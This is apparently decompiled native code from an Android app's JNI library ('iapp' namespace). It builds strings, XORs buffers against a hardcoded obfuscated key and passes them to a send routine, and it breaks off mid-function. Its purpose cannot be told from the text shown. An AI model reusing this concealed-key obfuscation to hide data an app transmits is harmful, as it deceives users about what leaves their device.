{ FUN_000167bb(); if ((*param_2 & 1) == 0) { *param_1 = *param_2; param_1[1] = param_2[1]; param_1[2] = param_2[2]; return; } FUN_00017700(param_1,(void *)param_2[2],param_2[1]); return;}
void FUN_00017700(uint *param_1,void *param_2,uint param_3)
{ void *extraout_EAX; uint uVar1; void *__dest;
FUN_000167bb(); if (param_3 < 0xfffffff0) { if (param_3 < 0xb) { *(char *)param_1 = (char)param_3 * '\x02'; __dest = (void *)((int)param_1 + 1); } else { uVar1 = param_3 + 0x10 & 0xfffffff0; operator.new(uVar1); param_1[2] = (uint)extraout_EAX; *param_1 = uVar1 | 1; param_1[1] = param_3; __dest = extraout_EAX; } memcpy(__dest,param_2,param_3); *(undefined1 *)((int)__dest + param_3) = 0; return; } /* WARNING: Subroutine does not return */ FUN_0001659c();}
/* iapp::burden::a(_jstring*, _jobjectArray*, _jobjectArray*, _jbyteArray*, _jstring*) */
undefined4 __thiscalliapp::burden::a(burden *this,undefined4 param_1,undefined4 param_2,undefined4 param_3,int param_4, int param_5)
{ byte *pbVar1; byte bVar2; byte bVar3; undefined1 uVar4; int *piVar5; size_t *extraout_EAX; size_t extraout_EAX_00; uint uVar6; uint *puVar7; int iVar8; undefined4 uVar9; undefined4 uVar10; char *pcVar11; size_t sVar12; undefined4 uVar13; undefined4 uVar14; int iVar15; undefined1 *puVar16; undefined1 *puVar17; undefined4 uVar18; undefined4 uVar19; char *__s; byte *pbVar20; int iVar21; undefined4 uVar22; undefined4 uVar23; int iVar24; int iVar25; char *__s_00; void *pvVar26; void *pvVar27; void *__s_01; void *__s_02; void *__s_03; char *pcVar28; undefined4 *extraout_EAX_01; byte *pbVar29; char *pcVar30; size_t sVar31; int iVar32; int unaff_EBX; uint *local_11c; int local_fc; uint *local_e4; byte local_dc; byte local_d8; uint local_c8; uint local_c4; void *local_c0; uint local_bc; uint local_b8; void *local_b4; byte local_b0 [8]; void *local_a8; undefined4 local_a4; uint local_a0; char *local_9c; byte local_98 [8]; void *local_90; byte local_8c [8]; void *local_84; byte local_80 [8]; void *local_78; byte local_74 [8]; void *local_6c; byte local_68 [8]; void *local_60; byte local_5c [8]; void *local_54; byte local_50 [8]; void *local_48; uint local_44; uint local_40; char *local_3c; undefined4 local_38; uint local_34; char *local_30; undefined4 local_2c; uint local_28; char *local_24; int local_20; undefined4 uStack_14;
uStack_14 = 0x2201b; FUN_000167bb(); local_20 = **(int **)(unaff_EBX + 0x36e21); operator.new(0x10); *extraout_EAX = 0; extraout_EAX[1] = 2; /* try { // try from 00022093 to 00022097 has its CatchHandler @ 00023ada */ operator.new[](2); extraout_EAX[3] = extraout_EAX_00; iVar8 = *(int *)this; bVar2 = *(byte *)(iVar8 + 0x14); local_d8 = bVar2 & 1; if ((bVar2 & 1) == 0) { sVar12 = (int)(uint)bVar2 >> 1; } else { sVar12 = *(size_t *)(iVar8 + 0x18); } bVar2 = **(byte **)(unaff_EBX + 0x36e25); local_dc = bVar2 & 1; if ((bVar2 & 1) == 0) { if (sVar12 == (int)(uint)bVar2 >> 1) goto LAB_000236f1;LAB_000220e0: FUN_00017780(&local_38,(uint *)(iVar8 + 0x14)); } else { if (sVar12 != *(size_t *)(*(int *)(unaff_EBX + 0x36e25) + 4)) goto LAB_000220e0;LAB_000236f1: pcVar11 = (char *)(iVar8 + 0x15); if (local_d8 != 0) { pcVar11 = *(char **)(iVar8 + 0x1c); } pcVar28 = (char *)(*(int *)(unaff_EBX + 0x36e25) + 1); if (local_dc != 0) { pcVar28 = *(char **)(*(int *)(unaff_EBX + 0x36e25) + 8); } if (local_d8 == 0) { if (sVar12 != 0) { if (*pcVar11 == *pcVar28) { pcVar30 = pcVar11 + sVar12; do { pcVar11 = pcVar11 + 1; pcVar28 = pcVar28 + 1; if (pcVar11 == pcVar30) goto LAB_00023767; } while (*pcVar11 == *pcVar28); } goto LAB_000220e0; } } else { iVar15 = memcmp(pcVar11,pcVar28,sVar12); if (iVar15 != 0) goto LAB_000220e0; }LAB_00023767: uVar9 = (**(code **)(**(int **)(iVar8 + 4) + 0x18))(*(int **)(iVar8 + 4),unaff_EBX + 0x28272); uVar10 = (**(code **)(**(int **)(iVar8 + 4) + 0x1c4)) (*(int **)(iVar8 + 4),uVar9,unaff_EBX + 0x28281,unaff_EBX + 0x281dc); _JNIEnv::CallStaticIntMethod(*(_JNIEnv **)(iVar8 + 4),uVar9,uVar10); (**(code **)(**(int **)(iVar8 + 4) + 0x5c))(*(int **)(iVar8 + 4),uVar9); std::to_string((undefined8 *)&local_38); } local_e4 = &local_38; iVar8 = *(int *)this; bVar2 = *(byte *)(iVar8 + 8); if ((bVar2 & 1) == 0) { sVar12 = (int)(uint)bVar2 >> 1; } else { sVar12 = *(size_t *)(iVar8 + 0xc); } bVar3 = **(byte **)(unaff_EBX + 0x36e25); if ((bVar3 & 1) == 0) { if (sVar12 == (int)(uint)bVar3 >> 1) goto LAB_00023633;LAB_0002213f: /* try { // try from 00022158 to 0002215c has its CatchHandler @ 00023af2 */ FUN_00017780(&local_44,(uint *)(iVar8 + 8)); } else { if (sVar12 != *(size_t *)(*(int *)(unaff_EBX + 0x36e25) + 4)) goto LAB_0002213f;LAB_00023633: pcVar11 = (char *)(iVar8 + 9); if ((bVar2 & 1) != 0) { pcVar11 = *(char **)(iVar8 + 0x10); } pcVar28 = (char *)(*(int *)(unaff_EBX + 0x36e25) + 1); if ((bVar3 & 1) != 0) { pcVar28 = *(char **)(*(int *)(unaff_EBX + 0x36e25) + 8); } if ((bVar2 & 1) == 0) { if (sVar12 != 0) { if (*pcVar11 == *pcVar28) { pcVar30 = pcVar11 + sVar12; do { pcVar11 = pcVar11 + 1; pcVar28 = pcVar28 + 1; if (pcVar11 == pcVar30) goto LAB_000236a3; } while (*pcVar11 == *pcVar28); } goto LAB_0002213f; } } else { iVar15 = memcmp(pcVar11,pcVar28,sVar12); if (iVar15 != 0) goto LAB_0002213f; }LAB_000236a3: /* try { // try from 000236bb to 000236bf has its CatchHandler @ 00023af2 */ FUN_00017700(&local_2c,(void *)(unaff_EBX + 0x28d15),0x20); local_44 = local_2c; local_40 = local_28; local_3c = local_24; } local_11c = &local_44; uVar6 = local_34; pcVar11 = local_30; if ((local_38 & 1) == 0) { uVar6 = (int)(local_38 & 0xff) >> 1; pcVar11 = (char *)((int)&local_38 + 1); } /* try { // try from 00022180 to 00022184 has its CatchHandler @ 00023b0e */ puVar7 = FUN_00018b90(local_11c,pcVar11,uVar6); local_c8 = *puVar7; local_c4 = puVar7[1]; local_c0 = (void *)puVar7[2]; *puVar7 = 0; puVar7[1] = 0; puVar7[2] = 0; if ((local_44 & 1) != 0) { operator.delete(local_3c); } if ((local_38 & 1) != 0) { operator.delete(local_30); } iVar8 = *(int *)this; bVar2 = *(byte *)(iVar8 + 8); if ((bVar2 & 1) == 0) { sVar12 = (int)(uint)bVar2 >> 1; } else { sVar12 = *(size_t *)(iVar8 + 0xc); } bVar3 = **(byte **)(unaff_EBX + 0x36e25); if ((bVar3 & 1) == 0) { if (sVar12 == (int)(uint)bVar3 >> 1) goto LAB_00023566;LAB_0002220e: /* try { // try from 00022224 to 00022228 has its CatchHandler @ 00023ab6 */ FUN_00017780(&local_a4,(uint *)(iVar8 + 8)); } else { if (sVar12 != *(size_t *)(*(int *)(unaff_EBX + 0x36e25) + 4)) goto LAB_0002220e;LAB_00023566: pcVar11 = (char *)(iVar8 + 9); if ((bVar2 & 1) != 0) { pcVar11 = *(char **)(iVar8 + 0x10); } pcVar28 = (char *)(*(int *)(unaff_EBX + 0x36e25) + 1); if ((bVar3 & 1) != 0) { pcVar28 = *(char **)(*(int *)(unaff_EBX + 0x36e25) + 8); } if ((bVar2 & 1) == 0) { if (sVar12 != 0) { if (*pcVar11 == *pcVar28) { pcVar30 = pcVar11 + sVar12; do { pcVar11 = pcVar11 + 1; pcVar28 = pcVar28 + 1; if (pcVar11 == pcVar30) goto LAB_000235db; } while (*pcVar11 == *pcVar28); } goto LAB_0002220e; } } else { iVar15 = memcmp(pcVar11,pcVar28,sVar12); if (iVar15 != 0) goto LAB_0002220e; }LAB_000235db: /* try { // try from 000235f3 to 000235f7 has its CatchHandler @ 00023ab6 */ FUN_00017700(&local_2c,(void *)(unaff_EBX + 0x28d15),0x20); local_a4 = local_2c; local_a0 = local_28; local_9c = local_24; } iVar8 = *(int *)this; bVar2 = *(byte *)(iVar8 + 0x14); local_d8 = bVar2 & 1; if ((bVar2 & 1) == 0) { sVar12 = (int)(uint)bVar2 >> 1; } else { sVar12 = *(size_t *)(iVar8 + 0x18); } bVar2 = **(byte **)(unaff_EBX + 0x36e25); if ((bVar2 & 1) == 0) { sVar31 = (int)(uint)bVar2 >> 1; } else { sVar31 = *(size_t *)(*(int *)(unaff_EBX + 0x36e25) + 4); } if (sVar12 == sVar31) { pcVar11 = (char *)(iVar8 + 0x15); if (local_d8 != 0) { pcVar11 = *(char **)(iVar8 + 0x1c); } pcVar28 = (char *)(*(int *)(unaff_EBX + 0x36e25) + 1); if ((bVar2 & 1) != 0) { pcVar28 = *(char **)(*(int *)(unaff_EBX + 0x36e25) + 8); } if (local_d8 == 0) { if (sVar12 == 0) {LAB_000234cf: /* try { // try from 000234e1 to 0002354b has its CatchHandler @ 00023a79 */ uVar9 = (**(code **)(**(int **)(iVar8 + 4) + 0x18)) (*(int **)(iVar8 + 4),unaff_EBX + 0x28272); uVar10 = (**(code **)(**(int **)(iVar8 + 4) + 0x1c4)) (*(int **)(iVar8 + 4),uVar9,unaff_EBX + 0x28281,unaff_EBX + 0x281dc); _JNIEnv::CallStaticIntMethod(*(_JNIEnv **)(iVar8 + 4),uVar9,uVar10); (**(code **)(**(int **)(iVar8 + 4) + 0x5c))(*(int **)(iVar8 + 4),uVar9); std::to_string((undefined8 *)local_b0); goto LAB_00022283; } if (*pcVar11 == *pcVar28) { pcVar30 = pcVar11 + sVar12; do { pcVar11 = pcVar11 + 1; pcVar28 = pcVar28 + 1; if (pcVar11 == pcVar30) goto LAB_000234cf; } while (*pcVar11 == *pcVar28); } } else { iVar15 = memcmp(pcVar11,pcVar28,sVar12); if (iVar15 == 0) goto LAB_000234cf; } } /* try { // try from 0002227e to 00022282 has its CatchHandler @ 00023a79 */ FUN_00017780((uint *)local_b0,(uint *)(iVar8 + 0x14));LAB_00022283: pcVar11 = local_9c; if ((local_a4 & 1) == 0) { local_a0 = (int)(local_a4 & 0xff) >> 1; pcVar11 = (char *)((int)&local_a4 + 1); } /* try { // try from 000222a9 to 000222ad has its CatchHandler @ 00023a9b */ puVar7 = FUN_00018b90((uint *)local_b0,pcVar11,local_a0); local_bc = *puVar7; local_b8 = puVar7[1]; local_b4 = (void *)puVar7[2]; *puVar7 = 0; puVar7[1] = 0; puVar7[2] = 0; if ((local_b0[0] & 1) != 0) { operator.delete(local_a8); } if ((local_a4 & 1) != 0) { operator.delete(local_9c); } /* try { // try from 00022310 to 000223d7 has its CatchHandler @ 00023ac5 */ iVar8 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2ac))(*(int **)(*(int *)this + 4),param_2); if (0 < iVar8) { local_fc = 0; do { uVar9 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2b4)) (*(int **)(*(int *)this + 4),param_2,local_fc); uVar10 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2b4)) (*(int **)(*(int *)this + 4),param_3,local_fc); pcVar11 = (char *)(**(code **)(**(int **)(*(int *)this + 4) + 0x2a4)) (*(int **)(*(int *)this + 4),uVar9,0); sVar12 = strlen(pcVar11); FUN_00017700(local_e4,pcVar11,sVar12); /* try { // try from 000223fa to 0002241f has its CatchHandler @ 00023acc */ pcVar11 = (char *)(**(code **)(**(int **)(*(int *)this + 4) + 0x2a4)) (*(int **)(*(int *)this + 4),uVar10,0); sVar12 = strlen(pcVar11); FUN_00017700(&local_2c,pcVar11,sVar12); /* try { // try from 0002243b to 0002243f has its CatchHandler @ 000239b9 */ FUN_00017780((uint *)local_8c,&local_c8); /* try { // try from 00022453 to 00022457 has its CatchHandler @ 000239df */ FUN_00017780((uint *)local_98,local_e4); /* try { // try from 0002246b to 0002246f has its CatchHandler @ 000239fc */ uVar13 = slky(*(int *)this,local_98,local_8c); if ((local_98[0] & 1) != 0) { operator.delete(local_90); } if ((local_8c[0] & 1) != 0) { operator.delete(local_84); } /* try { // try from 000224a2 to 000224a6 has its CatchHandler @ 000239b9 */ FUN_00017780((uint *)local_74,&local_bc); /* try { // try from 000224b7 to 000224bb has its CatchHandler @ 00023a17 */ FUN_00017780((uint *)local_80,local_e4); /* try { // try from 000224cf to 000224d3 has its CatchHandler @ 00023a2c */ uVar14 = slky(*(int *)this,local_80,local_74); if ((local_80[0] & 1) != 0) { operator.delete(local_78); } if ((local_74[0] & 1) != 0) { operator.delete(local_6c); } /* try { // try from 00022508 to 000225d9 has its CatchHandler @ 000239b9 */ iVar15 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2ac)) (*(int **)(*(int *)this + 4),uVar13); puVar16 = (undefined1 *) (**(code **)(**(int **)(*(int *)this + 4) + 0x2e0)) (*(int **)(*(int *)this + 4),uVar13,0); if ((int)extraout_EAX[1] <= (int)(*extraout_EAX + iVar15)) { sVar12 = extraout_EAX[1] + iVar15; extraout_EAX[1] = sVar12; sVar12 = sVar12 * 2; operator.new[](sVar12); memset(__s_03,0,sVar12); memcpy(__s_03,(void *)extraout_EAX[3],*extraout_EAX); if ((void *)extraout_EAX[3] != (void *)0x0) { operator.delete[]((void *)extraout_EAX[3]); } extraout_EAX[1] = sVar12; extraout_EAX[3] = (size_t)__s_03; } if (0 < iVar15) { sVar12 = *extraout_EAX; puVar17 = puVar16; do { uVar4 = *puVar17; puVar17 = puVar17 + 1; *(undefined1 *)(extraout_EAX[3] + sVar12) = uVar4; sVar12 = *extraout_EAX + 1; *extraout_EAX = sVar12; } while (puVar17 != puVar16 + iVar15); } (**(code **)(**(int **)(*(int *)this + 4) + 0x300)) (*(int **)(*(int *)this + 4),uVar13,puVar16,0); FUN_00017780((uint *)local_5c,local_e4); /* try { // try from 000225f4 to 000225f8 has its CatchHandler @ 00023a41 */ std::operator+((uint *)local_68,(byte *)local_e4,(byte *)&local_c8); /* try { // try from 0002260f to 00022613 has its CatchHandler @ 00023a5d */ uVar18 = slky(*(int *)this,local_68,local_5c); if ((local_68[0] & 1) != 0) { operator.delete(local_60); } if ((local_5c[0] & 1) != 0) { operator.delete(local_54); } pcVar11 = (char *)((int)&local_2c + 1); if ((local_2c & 1) != 0) { pcVar11 = local_24; } piVar5 = *(int **)(*(int *)this + 4); sVar12 = strlen(pcVar11); /* try { // try from 00022665 to 00022c20 has its CatchHandler @ 000239b9 */ uVar19 = (**(code **)(*piVar5 + 0x2c0))(piVar5,sVar12); (**(code **)(*piVar5 + 0x340))(piVar5,uVar19,0,sVar12,pcVar11); operator.new[](0x15); __s[0x13] = -0x36; __s[0x12] = '\x18'; __s[0x10] = 'i'; __s[10] = '%'; __s[7] = '<'; __s[5] = 'F'; __s[2] = '%'; *__s = -0x1e; __s[1] = 'H'; __s[3] = -0x19; __s[4] = -0x80; __s[6] = -0x1d; __s[8] = '<'; __s[9] = '\x1e'; __s[0xb] = '\x1d'; __s[0xc] = 'N'; __s[0xd] = '\x05'; __s[0xe] = 'U'; __s[0xf] = -0x1f; __s[0x11] = -0x58; __s[0x14] = '\0'; sVar12 = strlen(__s); pbVar20 = (byte *)(**(code **)(**(int **)(*(int *)this + 4) + 0x2e0)) (*(int **)(*(int *)this + 4),uVar18,0); iVar15 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2ac)) (*(int **)(*(int *)this + 4),uVar18); sVar31 = 0; pbVar29 = pbVar20; if (0 < iVar15) { do { pbVar1 = (byte *)(__s + sVar31); sVar31 = sVar31 + 1; *pbVar29 = *pbVar29 ^ *pbVar1; if (sVar12 == sVar31) { sVar31 = 0; } pbVar29 = pbVar29 + 1; } while (pbVar29 != pbVar20 + iVar15); } (**(code **)(**(int **)(*(int *)this + 4) + 0x300)) (*(int **)(*(int *)this + 4),uVar18,pbVar20,0); operator.delete(__s); iVar15 = *(int *)this; iVar21 = (**(code **)(**(int **)(iVar15 + 4) + 0x2ac))(*(int **)(iVar15 + 4),uVar19); uVar22 = (**(code **)(**(int **)(iVar15 + 4) + 0x2e0))(*(int **)(iVar15 + 4),uVar19,0); uVar23 = (**(code **)(**(int **)(iVar15 + 4) + 0x2c0))(*(int **)(iVar15 + 4),iVar21); (**(code **)(**(int **)(iVar15 + 4) + 0x340))(*(int **)(iVar15 + 4),uVar23,0,iVar21,uVar22); (**(code **)(**(int **)(iVar15 + 4) + 0x300))(*(int **)(iVar15 + 4),uVar19,uVar22,0); pbVar20 = (byte *)(**(code **)(**(int **)(iVar15 + 4) + 0x2e0)) (*(int **)(iVar15 + 4),uVar23,0); iVar24 = (**(code **)(**(int **)(iVar15 + 4) + 0x2e0))(*(int **)(iVar15 + 4),uVar18,0); iVar25 = (**(code **)(**(int **)(iVar15 + 4) + 0x2ac))(*(int **)(iVar15 + 4),uVar18); iVar32 = 0; pbVar29 = pbVar20; if (0 < iVar21) { do { pbVar1 = (byte *)(iVar24 + iVar32); iVar32 = iVar32 + 1; *pbVar29 = *pbVar29 ^ *pbVar1; if (iVar25 == iVar32) { iVar32 = 0; } pbVar29 = pbVar29 + 1; } while (pbVar29 != pbVar20 + iVar21); } (**(code **)(**(int **)(iVar15 + 4) + 0x300))(*(int **)(iVar15 + 4),uVar23,pbVar20,0); (**(code **)(**(int **)(iVar15 + 4) + 0x300))(*(int **)(iVar15 + 4),uVar18,iVar24,0); uVar22 = asendn(*(int *)this,uVar23,uVar18,1); iVar15 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2ac)) (*(int **)(*(int *)this + 4),uVar22); puVar16 = (undefined1 *) (**(code **)(**(int **)(*(int *)this + 4) + 0x2e0)) (*(int **)(*(int *)this + 4),uVar22,0); if ((int)extraout_EAX[1] <= (int)(*extraout_EAX + iVar15)) { sVar12 = extraout_EAX[1] + iVar15; extraout_EAX[1] = sVar12; sVar12 = sVar12 * 2; operator.new[](sVar12); memset(__s_02,0,sVar12); memcpy(__s_02,(void *)extraout_EAX[3],*extraout_EAX); if ((void *)extraout_EAX[3] != (void *)0x0) { operator.delete[]((void *)extraout_EAX[3]); } extraout_EAX[1] = sVar12; extraout_EAX[3] = (size_t)__s_02; } if (0 < iVar15) { sVar12 = *extraout_EAX; puVar17 = puVar16; do { uVar4 = *puVar17; puVar17 = puVar17 + 1; *(undefined1 *)(extraout_EAX[3] + sVar12) = uVar4; sVar12 = *extraout_EAX + 1; *extraout_EAX = sVar12; } while (puVar17 != puVar16 + iVar15); } (**(code **)(**(int **)(*(int *)this + 4) + 0x300)) (*(int **)(*(int *)this + 4),uVar22,puVar16,0); iVar15 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2ac)) (*(int **)(*(int *)this + 4),uVar14); puVar16 = (undefined1 *) (**(code **)(**(int **)(*(int *)this + 4) + 0x2e0)) (*(int **)(*(int *)this + 4),uVar14,0); if ((int)extraout_EAX[1] <= (int)(*extraout_EAX + iVar15)) { sVar12 = extraout_EAX[1] + iVar15; extraout_EAX[1] = sVar12; sVar12 = sVar12 * 2; /* try { // try from 00023262 to 00023386 has its CatchHandler @ 000239b9 */ operator.new[](sVar12); memset(__s_01,0,sVar12); memcpy(__s_01,(void *)extraout_EAX[3],*extraout_EAX); if ((void *)extraout_EAX[3] != (void *)0x0) { operator.delete[]((void *)extraout_EAX[3]); } extraout_EAX[1] = sVar12; extraout_EAX[3] = (size_t)__s_01; } if (0 < iVar15) { sVar12 = *extraout_EAX; puVar17 = puVar16; do { uVar4 = *puVar17; puVar17 = puVar17 + 1; *(undefined1 *)(extraout_EAX[3] + sVar12) = uVar4; sVar12 = *extraout_EAX + 1; *extraout_EAX = sVar12; } while (puVar17 != puVar16 + iVar15); } (**(code **)(**(int **)(*(int *)this + 4) + 0x300)) (*(int **)(*(int *)this + 4),uVar14,puVar16,0); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar9); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar10); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar13); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar14); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar18); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar19); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar22); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar23); if ((local_2c & 1) != 0) { operator.delete(local_24); } if ((local_38 & 1) != 0) { operator.delete(local_30); } local_fc = local_fc + 1; } while (local_fc != iVar8); } /* try { // try from 00022c70 to 00022c92 has its CatchHandler @ 00023ac5 */ pcVar11 = (char *)(**(code **)(**(int **)(*(int *)this + 4) + 0x2a4)) (*(int **)(*(int *)this + 4),param_1,0); sVar12 = strlen(pcVar11); FUN_00017700((uint *)local_50,pcVar11,sVar12); /* try { // try from 00022ca6 to 00022caa has its CatchHandler @ 00023a72 */ FUN_00017780(local_11c,*(uint **)(unaff_EBX + 0x36e25)); if (param_5 != 0) { /* try { // try from 00022cd5 to 00022d04 has its CatchHandler @ 00023abd */ pcVar11 = (char *)(**(code **)(**(int **)(*(int *)this + 4) + 0x2a4)) (*(int **)(*(int *)this + 4),param_5,0); sVar12 = strlen(pcVar11); FUN_00017700(local_e4,pcVar11,sVar12); if ((local_44 & 1) == 0) { local_44 = local_44 & 0xffff0000; } else { *local_3c = '\0'; local_40 = 0; } /* try { // try from 00022d28 to 00022d2c has its CatchHandler @ 00023941 */ FUN_0001c960(local_11c,0); local_44 = local_38; local_40 = local_34; local_3c = local_30; } /* try { // try from 00022d58 to 000231d7 has its CatchHandler @ 00023abd */ iVar15 = Interact::idbfj(*(Interact **)this,local_50,(byte *)local_11c); iVar8 = iVar15; if (param_4 != 0) { iVar8 = param_4; } iVar8 = slky(*(int *)this,iVar8,iVar15); uVar9 = slky(*(int *)this,iVar15,iVar8); piVar5 = *(int **)(*(int *)this + 4); sVar12 = *extraout_EAX; sVar31 = extraout_EAX[3]; uVar10 = (**(code **)(*piVar5 + 0x2c0))(piVar5,sVar12); (**(code **)(*piVar5 + 0x340))(piVar5,uVar10,0,sVar12,sVar31); operator.delete((void *)extraout_EAX[3]); extraout_EAX[3] = 0; operator.delete(extraout_EAX); operator.new[](0x15); __s_00[0x13] = -0x36; __s_00[0x12] = '\x18'; __s_00[0x10] = 'i'; __s_00[10] = '%'; __s_00[7] = '<'; __s_00[5] = 'F'; __s_00[2] = '%'; *__s_00 = -0x1e; __s_00[1] = 'H'; __s_00[3] = -0x19; __s_00[4] = -0x80; __s_00[6] = -0x1d; __s_00[8] = '<'; __s_00[9] = '\x1e'; __s_00[0xb] = '\x1d'; __s_00[0xc] = 'N'; __s_00[0xd] = '\x05'; __s_00[0xe] = 'U'; __s_00[0xf] = -0x1f; __s_00[0x11] = -0x58; __s_00[0x14] = '\0'; sVar12 = strlen(__s_00); pbVar20 = (byte *)(**(code **)(**(int **)(*(int *)this + 4) + 0x2e0)) (*(int **)(*(int *)this + 4),uVar9,0); iVar21 = (**(code **)(**(int **)(*(int *)this + 4) + 0x2ac))(*(int **)(*(int *)this + 4),uVar9); sVar31 = 0; pbVar29 = pbVar20; if (0 < iVar21) { do { pbVar1 = (byte *)(__s_00 + sVar31); sVar31 = sVar31 + 1; *pbVar29 = *pbVar29 ^ *pbVar1; if (sVar12 == sVar31) { sVar31 = 0; } pbVar29 = pbVar29 + 1; } while (pbVar29 != pbVar20 + iVar21); } (**(code **)(**(int **)(*(int *)this + 4) + 0x300))(*(int **)(*(int *)this + 4),uVar9,pbVar20,0); operator.delete(__s_00); iVar21 = *(int *)this; iVar24 = (**(code **)(**(int **)(iVar21 + 4) + 0x2ac))(*(int **)(iVar21 + 4),uVar10); uVar13 = (**(code **)(**(int **)(iVar21 + 4) + 0x2e0))(*(int **)(iVar21 + 4),uVar10,0); uVar14 = (**(code **)(**(int **)(iVar21 + 4) + 0x2c0))(*(int **)(iVar21 + 4),iVar24); (**(code **)(**(int **)(iVar21 + 4) + 0x340))(*(int **)(iVar21 + 4),uVar14,0,iVar24,uVar13); (**(code **)(**(int **)(iVar21 + 4) + 0x300))(*(int **)(iVar21 + 4),uVar10,uVar13,0); pbVar20 = (byte *)(**(code **)(**(int **)(iVar21 + 4) + 0x2e0))(*(int **)(iVar21 + 4),uVar14,0); iVar25 = (**(code **)(**(int **)(iVar21 + 4) + 0x2e0))(*(int **)(iVar21 + 4),uVar9,0); pvVar26 = (void *)(**(code **)(**(int **)(iVar21 + 4) + 0x2ac))(*(int **)(iVar21 + 4),uVar9); pvVar27 = (void *)0x0; pbVar29 = pbVar20; if (0 < iVar24) { do { pbVar1 = (byte *)(iVar25 + (int)pvVar27); pvVar27 = (void *)((int)pvVar27 + 1); *pbVar29 = *pbVar29 ^ *pbVar1; if (pvVar26 == pvVar27) { pvVar27 = (void *)0x0; } pbVar29 = pbVar29 + 1; } while (pbVar29 != pbVar20 + iVar24); } (**(code **)(**(int **)(iVar21 + 4) + 0x300))(*(int **)(iVar21 + 4),uVar14,pbVar20,0); (**(code **)(**(int **)(iVar21 + 4) + 0x300))(*(int **)(iVar21 + 4),uVar9,iVar25,0); uVar13 = asendn(*(int *)this,uVar14,uVar9,1); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),iVar15); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),iVar8); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar9); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar10); (**(code **)(**(int **)(*(int *)this + 4) + 0x5c))(*(int **)(*(int *)this + 4),uVar14); if ((local_44 & 1) != 0) { operator.delete(local_3c); } if ((local_50[0] & 1) != 0) { operator.delete(local_48); } if ((local_bc & 1) != 0) { operator.delete(local_b4); } if ((local_c8 & 1) != 0) { operator.delete(local_c0); } if (local_20 != **(int **)(unaff_EBX + 0x36e21)) { FUN_000167a0(); /* catch() { ... } // from try @ 00022093 with catch @ 00023ada */ operator.delete(pvVar26); /* WARNING: Subroutine does not return */ _Unwind_Resume(extraout_EAX_01); } return uVar13;}
/* iapp::slky(iapp::Interact*, std::string, std::string) */
undefined4 iapp::slky(int param_1,byte *param_2,byte *param_3)
{ byte bVar1; int *piVar2; char cVar3; size_t sVar4; undefined4 uVar5; int iVar6; int iVar7; uint *puVar8; byte *pbVar9; undefined4 uVar10; undefined4 uVar11; undefined4 uVar12; undefined4 extraout_EAX; undefined4 extraout_EAX_00; uint uVar13; uint uVar14; undefined4 *extraout_EAX_01; byte bVar15; int iVar16; uint *puVar17; uint uVar18; byte *pbVar19; int unaff_EBX; int iVar20; char *pcVar21; byte *pbVar22; byte local_6c; byte local_68; char local_64; byte local_60; byte local_58; undefined4 local_44; uint local_40; char *local_3c; undefined4 local_38; undefined1 local_34; undefined1 local_33; undefined1 local_32; undefined1 local_31; void *local_30; undefined1 local_2c; undefined1 local_2b; undefined1 local_2a; undefined1 local_29; undefined1 local_28; undefined1 local_27; undefined1 local_26; undefined1 local_25; undefined1 local_24; int local_20; undefined4 uStack_14;
uStack_14 = 0x1922b; FUN_000167bb(); piVar2 = *(int **)(param_1 + 4); local_20 = **(int **)(unaff_EBX + 0x3fc11); pbVar22 = param_2 + 1; if ((*param_2 & 1) != 0) { pbVar22 = *(byte **)(param_2 + 8); } sVar4 = strlen((char *)pbVar22); uVar5 = (**(code **)(*piVar2 + 0x2c0))(piVar2,sVar4); (**(code **)(*piVar2 + 0x340))(piVar2,uVar5,0,sVar4,pbVar22); iVar6 = (**(code **)(**(int **)(param_1 + 4) + 0x2e0))(*(int **)(param_1 + 4),uVar5,0); iVar7 = (**(code **)(**(int **)(param_1 + 4) + 0x2ac))(*(int **)(param_1 + 4),uVar5); iVar20 = iVar7; if (0 < iVar7) { iVar16 = 0; do { pcVar21 = (char *)(iVar6 + iVar16); iVar16 = iVar16 + 1; iVar20 = iVar20 + *pcVar21; } while (iVar16 != iVar7); } (**(code **)(**(int **)(param_1 + 4) + 0x300))(*(int **)(param_1 + 4),uVar5,iVar6,0); (**(code **)(**(int **)(param_1 + 4) + 0x5c))(*(int **)(param_1 + 4),uVar5); local_64 = (char)(iVar20 % iVar7); std::to_string((undefined8 *)&local_38); if ((*param_2 & 1) == 0) { uVar13 = (uint)(*param_2 >> 1); pbVar22 = param_2 + 1; } else { uVar13 = *(uint *)(param_2 + 4); pbVar22 = *(byte **)(param_2 + 8); } /* try { // try from 000193ac to 000193b0 has its CatchHandler @ 000198f5 */ puVar8 = FUN_000190a0(&local_38,0,pbVar22,uVar13); local_44 = *puVar8; local_40 = puVar8[1]; local_3c = (char *)puVar8[2]; *puVar8 = 0; puVar8[1] = 0; puVar8[2] = 0; if (((byte)local_38 & 1) != 0) { operator.delete(local_30); } bVar15 = *param_3; local_58 = bVar15 & 1; if ((bVar15 & 1) == 0) { sVar4 = (int)(uint)bVar15 >> 1; } else { sVar4 = *(size_t *)(param_3 + 4); } pbVar22 = *(byte **)(unaff_EBX + 0x3fc15); bVar1 = *pbVar22; local_60 = bVar1 & 1; if ((bVar1 & 1) == 0) { if (sVar4 == 